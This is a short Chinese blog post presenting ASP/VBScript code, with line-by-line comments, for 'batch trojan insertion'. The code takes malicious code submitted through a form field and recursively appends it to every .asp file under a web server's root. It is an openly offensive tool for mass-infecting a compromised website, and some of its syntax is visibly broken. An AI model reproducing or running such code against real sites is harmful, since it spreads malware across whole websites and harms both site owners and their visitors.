批量插马代码博志（Glen'Blog）--博闻,砥志

<%
dim lujing                     '声明变量
dim gxmfile
gxmfile=trim(request("ma"))            '接受表单中的恶意代码,并过滤左右两端的空格
if gxmfile="" then                 '如果恶意代码为空,就执行下面的javascript脚本
response.write "<script language=javascript>alert('难道你没有输入的恶意代码吗？那你叫我帮你插什么代码啊!');history.back()</script>"
else
lujing=server.mappath("/")             '如果恶意代码不为空,就把网站路径的值给lujing变量
Sub InsertAllFiles(Path)              '定义过程
    Set FSO = CreateObject("Scripting.FileSystemObject")            '建立对象
on error resume next                            '打开错误陷阱,也就是大家常说的容错语句
Set f = FSO.GetFolder(Path)                        '提取网站根目录所在的文件夹
Set f2 = f.files                              '提取刚刚文件夹下的所有文件
For Each f3 in f2                             '循环啊,获得所有文件
If lcase(FSO.GetExtensionName(path&"\"&f3.name))="asp" then    '判断文件的后缀是不是为asp
Set FS1 = CreateObject("Scripting.FileSystemObject")       '如果是的话就在声明对象
Set wfile=FS1.opentextfile(path&"\"&f3.name,8,false)       '打开asp文件,并且追加
wfile.write gxmfile                        '追加恶意代码
end if
wfile.close                            '关闭文件
Next                                    '循环结束
  Set fsubfolers = f.SubFolders                       '提取二级目录下的所在文件夹
  For Each f4 in fsubfolers                         '循环又要开始了
    newpath=path&"\"&f4.name                     '提取二级目录下的每一个文件夹
    InsertAllFiles(newpath)                      '调用过程,使之能够把文件夹下的所有ASP文件追加,也就是递归调用啊
   Next                                '循环结束
   set wfile=nothing                            '释放对象
   set FS1=nothing                             '释放对象
   Set FSO = Nothing                             '释放对象
End Sub                                      '定义过程结束
%>
%<
call InsertAllFiles(lujing)                            '调用过程,从网站根目录开始
%>
%<
response.write "<center>GXM已帮你插入全站所有ASP文件</center>" %>          '这个不用我多说了吧